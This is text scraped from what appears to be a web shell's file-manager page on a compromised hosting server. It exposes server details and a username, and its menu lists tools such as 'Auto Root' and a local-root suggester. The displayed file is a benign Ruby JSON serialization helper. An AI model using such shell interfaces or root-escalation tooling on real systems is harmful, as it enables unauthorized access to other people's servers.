Linux worldls-302.fr.planethoster.net 4.18.0-553.8.1.lve.el7h.x86_64 #1 SMP Thu Jul 4 15:19:33 UTC 2024 x86_64
LiteSpeed
Server IP : 10.185.0.203 & Your IP : 216.73.217.14
Domains :
Cant Read [ /etc/named.conf ]
User : gerathty
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby23 /
lib64 /
ruby /
2.3.0 /
json /
add /
Delete
Unzip
Name
Size
Permission
Date
Action
bigdecimal.rb
599
B
-rw-r--r--
2023-07-26 16:28
complex.rb
750
B
-rw-r--r--
2023-07-26 16:28
core.rb
349
B
-rw-r--r--
2023-07-26 16:28
date.rb
882
B
-rw-r--r--
2023-07-26 16:28
date_time.rb
1.3
KB
-rw-r--r--
2023-07-26 16:28
exception.rb
800
B
-rw-r--r--
2023-07-26 16:28
ostruct.rb
798
B
-rw-r--r--
2023-07-26 16:28
range.rb
787
B
-rw-r--r--
2023-07-26 16:28
rational.rb
781
B
-rw-r--r--
2023-07-26 16:28
regexp.rb
761
B
-rw-r--r--
2023-07-26 16:28
struct.rb
787
B
-rw-r--r--
2023-07-26 16:28
symbol.rb
615
B
-rw-r--r--
2023-07-26 16:28
time.rb
1017
B
-rw-r--r--
2023-07-26 16:28
Save
Rename
# frozen_string_literal: false unless defined?(::JSON::JSON_LOADED) and ::JSON::JSON_LOADED require 'json' end class Struct # Deserializes JSON string by constructing new Struct object with values # <tt>v</tt> serialized by <tt>to_json</tt>. def self.json_create(object) new(*object['v']) end # Returns a hash, that will be turned into a JSON object and represent this # object. def as_json(*) klass = self.class.name klass.to_s.empty? and raise JSON::JSONError, "Only named structs are supported!" { JSON.create_id => klass, 'v' => values, } end # Stores class name (Struct) with Struct values <tt>v</tt> as a JSON string. # Only named structs are supported. def to_json(*args) as_json.to_json(*args) end end